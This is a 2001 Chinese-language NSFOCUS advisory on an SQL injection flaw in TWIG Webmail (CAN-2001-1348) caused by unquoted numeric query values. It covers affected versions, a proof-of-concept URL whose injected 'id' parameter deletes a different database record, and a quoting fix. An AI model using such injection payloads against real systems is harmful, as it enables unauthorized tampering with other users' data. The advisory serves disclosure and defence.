首页 -> 安全研究

安全研究

安全漏洞
TWIG Webmail 的 SQL Query 可更改漏洞

发布日期:2001-05-28
更新日期:2001-06-04

受影响系统:

  TWIG Webmail 2.6.1
  TWIG Webmail 2.6
  TWIG Webmail 2.5.1
  TWIG Webmail 2.5
  TWIG Webmail 2.4
  TWIG Webmail 2.3.2
  TWIG Webmail 2.3.1
  TWIG Webmail 2.3
  TWIG Webmail 2.2.3
  TWIG Webmail 2.2.2
  TWIG Webmail 2.2.1
  TWIG Webmail 2.2
  TWIG Webmail 2.1.1
  TWIG Webmail 2.1
  TWIG Webmail 2.0.3
  TWIG Webmail 2.0.2
  TWIG Webmail 2.0.1
  TWIG Webmail 2.0beta3
  TWIG Webmail 2.0beta2
  TWIG Webmail 2.0beta1
  TWIG Webmail 2.0
描述:

BUGTRAQ  ID: 2791
CVE(CAN) ID: CAN-2001-1348

对 SQL 查询语句,SQL 查询串(query string)没有用单引号括起来是一个小小的错误。这个错误可能导致潜在的危险。TWIG Webmail 存有这个漏洞。

如我们所知的,如果域类型是 int、mediumint、tinyint 等诸如此类的,SQL 查询串没有用单引号括起来能够被 mysql 接受。比如,下面两个语句的效果一样:

DELETE FROM mytable WHERE id='1' AND owner='karet'
DELETE FROM mytable WHERE id=1 AND owner='karet'

正常情况下,这没有什么问题。然而,如果上面的例子中 id 的值由用户来提供就有问题了。这使得用户可以控制 SQL 查询语句,把原来的 SQL查询语句更改为另一个语句。比如,如果用户提供给 id 的 值是 "1 OR id=2 OR id=3",上面第二个语句就变成

DELETE FROM mytable WHERE id=1 OR id=2 OR id=3 AND owner='karet'

了。TWIG Webmail 的这个漏洞使得恶意用户可以通过改变查询语句的逻辑插入 SQL 代码,进而进行非法操作。

<* 来源:Luki Rustianto (luki@karet.org) *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


例如,将下列URL请求:
http://192.168.0.18/webmail/index.php3?ts=983392426&twig_sid=983392414-1-eca&twig_cid=983392414-14-eca&ItemID=3

变为:
http://192.168.0.18/webmail/index.php3?ts=983392426&twig_sid=983392539-1-eca&twig_cid=983392539-14-eca&ItemID=2&data[groupid]=0&submitbutton[delete]=Delete&data[id]=2%20or%20id%3d2

那么实际的sql请求就由:

DELETE FROM twig_bookmarks WHERE id=3 AND groupid=0 AND username='eca'

改变成:

DELETE FROM twig_bookmarks WHERE id=2 or id=2 AND groupid=0 AND username='eca'

这样我们就可以在数据库中删除id=2的那条记录,而本来是要删除id=3的那条记录的


建议:

临时解决方法:

  NSFOCUS建议您按漏洞发现者所说的先执行下列命令:
  $ grep -r "WHERE id=" <TWIG installation dir>/lib/*
  然后在有问题的语句中,为那些变量手工加上单引号。
  例如: addslashes($IDNumber)

厂商补丁:

目前厂商还没有提供补丁或者升级程序。我们建议使用此软件的用户随时关注厂商站点以获取最新版本:
http://twig.screwdriver.net/



浏览次数:3696
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障